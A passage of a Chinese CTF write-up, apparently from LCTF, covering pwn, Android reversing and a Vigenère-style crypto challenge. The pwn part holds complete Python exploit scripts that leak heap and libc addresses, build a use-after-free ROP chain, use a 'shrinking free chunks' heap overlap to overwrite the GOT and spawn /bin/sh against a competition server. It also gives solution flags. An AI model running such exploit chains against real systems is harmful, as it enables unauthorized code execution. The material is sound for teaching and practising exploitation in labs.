io.rtl('ciphertext: ')
io.r(0x40 * 8)
heap_base = l64(io.rl()[:-1].ljust(0x8, '\x00')) - 0x270
print '[+] heap base: 0x%x' % heap_base
# free
io.wls([3, 0x10, '41' * 0x10])
# malloc
io.wls([4, l64(heap_base + 0x20)])
# rop chain in stack (uaf)
io.wls([2, 0x20, (l64(pop_rdi_ret) + l64(heap_base + 0x20) + l64(plt_printf) + l64(entry)).ljust(0x20, 'A')])
for i in xrange(4): io.rtl('0x')
adr_libc_start_main_ret = int(io.rtl('R')[:-1], 16)
off_libc_start_main_ret = 0x21ec5
libc_base = adr_libc_start_main_ret - off_libc_start_main_ret
off_system = 0x00000000000468f0
adr_system = libc_base + off_system
print '[+] libc base : 0x%x' % libc_base
print '[+] system : 0x%x' % adr_system
return adr_system
def exp(adr_system):
# io.wls([2, 0x40, (('AAAAAAAA' +'%{}$lx\x00'.format(0x8b)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
io.wls([1, 1, 11, 13])
io.wls([2, 0x40, (('AAAAAAAA' +'/bin/sh\x00').ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
io.rtl('ciphertext: ')
io.r(0x40 * 8)
heap_base = l64(io.rl()[:-1].ljust(0x8, '\x00')) - 0x270 + 0x450
print '[+] heap base: 0x%x' % heap_base
io.wls([3, 0x10, '41' * 0x10])
for i in xrange(0x4): io.wls([4, l64(heap_base + 0x20)])
# rop chain in stack
io.wls([2, 0x20, (l64(pop_rdi_ret) + l64(heap_base + 0x20) + l64(adr_system) + l64(entry)).ljust(0x20, 'A')])
exp(leak())
io.itr()
PWN500
Bugs
- 在读取字符串时存在一个null的溢出,在读取package的内容时可溢出到下一个堆块
- 一些编程的逻辑漏洞,在save package时没有对package_head置零
Thinking
- 程序开始时会malloc(0x20)用来存储sender,receiver,package链表的头结点地址
- malloc(0x98)存储sender的内容
- malloc(0xb8)存储receiver的内容
- malloc(len+0x18)存储package内容
我采用的利用技巧是shrink free chunks,这个方法在这篇文章中有介绍,最终的目标就是构造出overlapping chunks,这样,通过修改package的内容,来达到修改receiver的链表next和prev指针的目的
之后就可以达到泄露heap和libc的目的,最后覆盖got表来get shell
PoC of "shrinking free chunks"
char *a, *b, *c, *d, *e, *f;
a = malloc(0x208);
b = malloc(0x208);
c = malloc(0x208);
free(b);
a[0x208] = 0x0;
d = malloc(0x80);
e = malloc(0x80);
free(d);
free(c);
f = malloc(0x208); // f and e are overlapping chunks
Exploit
from zio import *
io = zio(('119.28.62.216', 10024), print_read = COLORED(RAW, 'red'), print_write = COLORED(RAW, 'blue'), timeout = 100000)
io.hint([0x400e16])
adr_control = 0x6030b8
io.wl_af('?', 'y')
io.wls_af(':', [1, '/bin/sh', 'BBBB'])
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wls_af(':', [2, 0x1f0, 'aaaa'])
io.wls_af(':', [2, 0x1f0, 'aaaa'])
io.wls_af(':', [2, 0x1f0, 'dddd'])
io.wls_af(':', [3, 2])
io.wls_af(':', [3, 1])
io.wls_af(':', [2, 0x1f0, 'b' * 0x1f0]) # shrink free chunk
io.wl_af(':', 5)
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wl_af(':', 5)
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'BBBB', 'CCCC', 'DDDD'])
io.wl_af(':', 5)
# overlap
io.wls_af(':', [4, 2])
io.wls_af(':', [4, 1])
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 1])
io.wls_af(':', [2, 0x1f0, 'b' * 0x98 + l64(0x0) + l64(0x81) + l64(adr_control - 0x20)])
io.wl_af(':', 5)
io.wl_af(':', 5)
io.rtl('======receiver[2]=======')
io.rtl('postcodes:')
heap_base = l64(io.rl()[0:-1].ljust(0x8, '\x00')) - 0x10
print '[+] heap base\t:0x%x' % heap_base
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 0])
io.wls_af(':', [2, 0x1f0, 'd' * 0x98 + l64(0x0) + l64(0x81) + l64(0x603000 - 0x18)])
io.wl_af(':', 5)
io.wl_af(':', 5)
io.rtl('======receiver[3]=======')
io.rtl('contact:')
adr_free = l64(io.r(6).ljust(0x8, '\x00'))
off_free = 0x0000000000083c30
off_read = 0x00000000000ec690
off_puts = 0x0000000000070c70
off_malloc = 0x0000000000083590
libc_base = adr_free - off_free
off_system = 0x00000000000468f0
adr_system = off_system + libc_base
adr_puts = off_puts + libc_base
adr_read = off_read + libc_base
adr_malloc = off_malloc + libc_base
print '[+] free address\t:0x%x' % adr_free
print '[+] system address\t:0x%x' % adr_system
io.wl_af(':', 2)
io.wls_af(':', [1, 'AAAA', 'AAAA', 'AAAA', 'AAAA'])
io.wls_af(':', [3, 0])
io.wls_af(':', [2, 0x1f0, 'd' * 0x98 + l64(0x0) + l64(0x81) + l64(heap_base)])
io.wl_af(':', 5)
io.wls_af(':', [3, 4]),
io.w(l64(0x603008) + l64(heap_base + 0x40)[0:7] + '\n' + 'B' * 0x8 + 'C' * 0x38)
io.wls_af(':', [3, 0])
io.w(l64(adr_system)[0:7] + '\n' + l64(adr_puts)[0:7] + '\n' + l64(adr_read)[0:7] + '\n' + l64(adr_malloc) + 'D' * 0x20 + l64(adr_system)[0:7] + '\n')
io.wl('sh')
io.wl('6')
io.itr()
Misc
moblie 100
这一题的确是个福利题...并没有涉及到dex函数隐藏等小技巧,只是简单的使用proguard进行了混淆。可以静态也可动态(动态先改掉debug检测,还不如直接静态看一下),那么,关键部分源码:
private void getKey(){
try {
InputStream stream = this.getResources().getAssets().open("url.png");
int v = stream.available();
byte[] bs = new byte[v];
stream.read(bs, 0, v);
byte[] keybyte = new byte[16];
System.arraycopy(bs, 144, keybyte, 0, 16);
this.key = new String(keybyte, "utf-8");
}
catch (Exception e){
e.printStackTrace();
}
//code
}
private String handle(String naive){
try {
naive.getBytes("utf-8");
StringBuilder str = new StringBuilder();
for (int i = 0; i < naive.length(); i += 2) {
str.append(naive.charAt(i + 1));
str.append(naive.charAt(i));
}
return str.toString();
}catch (UnsupportedEncodingException e){
e.printStackTrace();
}
return null;
}
protected void Encryption(byte[] key){
try {
if (key == null) {
byte[] bytes = "".getBytes("utf-8");
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
byte[] bytes1 = messageDigest.digest(bytes);
secretKeySpec = new SecretKeySpec(bytes1, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
else {
secretKeySpec = new SecretKeySpec(key, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
}except{
//...
}
}
从url.png中获得key,然后使用handle函数进行处理(奇偶位互换)作为最终AES加密的key。flag密文:
byte[] bye = {21,-93,-68,-94,86,117,-19,-68,-92,33,50,118,16,13,1,-15,-13,3,4,103,-18,81,30,68,54,-93,44,-23,93,98,5,59};
new String(bye);
使用AES/ECB/PKCS5Padding,用key对选手输入进行加密,结果与flag密文进行比对;故解密时只需
init(Cipher.DECRYPT_MODE, secretKeySpec);
对flag密文进行解密即可。
flag:LCTF{1t's_rea1ly_an_ea3y_ap4}
moblie 200
首先还是直接放出NDK部分源码...
std::string secret = "dHR0dGlldmFodG5vZGllc3VhY2VibGxlaHNhdG5hd2k.";
static const std::string chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
static inline bool is_base(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}
std::string encrypt(char const* bytes_to_encode, unsigned int in_len) {
std::string ret;
int i = 0;
int j = 0;
unsigned char char_array_3[3];
unsigned char char_array_4[4];
while (in_len--) {
char_array_3[i++] = *(bytes_to_encode++);
if (i == 3) {
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for(i = 0; (i <4) ; i++)
ret += chars[char_array_4[i]];
i = 0;
}
}
if (i)
{
for(j = i; j < 3; j++)
char_array_3[j] = '\0';
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for (j = 0; (j < i + 1); j++)
ret += chars[char_array_4[j]];
while((i++ < 3))
ret += '.';
}
return ret;
}
static const char *handlePasswd(char* yourinput){
char* input;
std::string output = "";
input = yourinput;
if (NULL == input) {
return NULL;
}
int low = 0;
size_t hight = strlen(input) - 1;
while (low < hight) {
char tmp = input[low];
input[low] = input[hight];
input[hight] = tmp;
++low;
--hight;
}
output.append(input);
return encrypt(output.c_str(), (unsigned int) output.length()).c_str();
}
extern "C"
jboolean
Java_com_example_ring_wantashell_Check_checkPasswd(JNIEnv* env, jobject jobject1, jstring input){
const char* pass;
jboolean iscopy;
const char* password;
pass = env->GetStringUTFChars(input, false);
if (pass == NULL ){
return (jboolean)false;
}
char* pas = new char[33];
strcpy(pas, pass);
password = handlePasswd(pas);
env->ReleaseStringUTFChars(input, pass);
return (jboolean) (password == secret);
}
本题主要是静态反汇编分析能力。EditText获取选手输入后,将其substring(5, 37)
得到flag,亦为即将传入native方法的值,虽然没有检测其前5及后边的字符值,但对输入长度做了限定;native checkPasswd(String input)
方法则分为两部分,一是对input做简单处理,即倒序;二则是一个base64编码,只是我把'='用'.'来替换了;input编码后直接与密文secret进行比对,所以程序内部并没有解密方法。
Jni_OnLoad
函数内部则是简单的ptrace
反调试和反模拟器的一些函数以及一个对dex的SMC,即将内存中的form
函数的字节码用f0rm
函数的来替换(其余两个是我后来觉得只有form
和f0rm
的话太过直接,于是添加进去的无用函数)。这种对dex字节码的SMC是一种Android低版本的方法(version < 5),所以高系统版本手机上会crash掉...但由于只使用了AVD的模拟器及一款三星Android 4.4.4手机做测试,没有对其他机型做适配,所以有选手反应说在nexus5 4.4.3上也出了问题...虽然尽量使用了能够静态分析出的SMC方案,但仍在此表示诚挚的歉意...(请务必不要寄刀片...)
分析出encrypt
是base64的话就很简单,只需将secret
的'.'换为'=',然后base64.b64decode(secret
)即可得到倒序的flag,为:iwantashellbecauseidonthaveitttt
crypt 200
写在前面……
这道题本计划让参赛选手自己写脚本爆破的,然而ZZ出题人不小心把密文给的长了……于是几乎所有队伍都是在线解出来的……几乎成了签到题……出题人表示很悲伤……
出题人计划中的解题思路:
首先通过自己写脚本/在线工具,查出密钥很可能为两段,分别是 7、13 。然后开始爆破短密码,每爆破一位检查一次是否正确。这里有一个小点:对7位密钥爆破时,只需把第一位预设为'a',爆破后六位就可以。用python多线程实现,大概需要3-4小时即可得出结果,C语言会更快。
怨念の出题人:只取密文中的前91个字母,你给我在线解啊在线解啊(〒︿〒)
Comment Closed.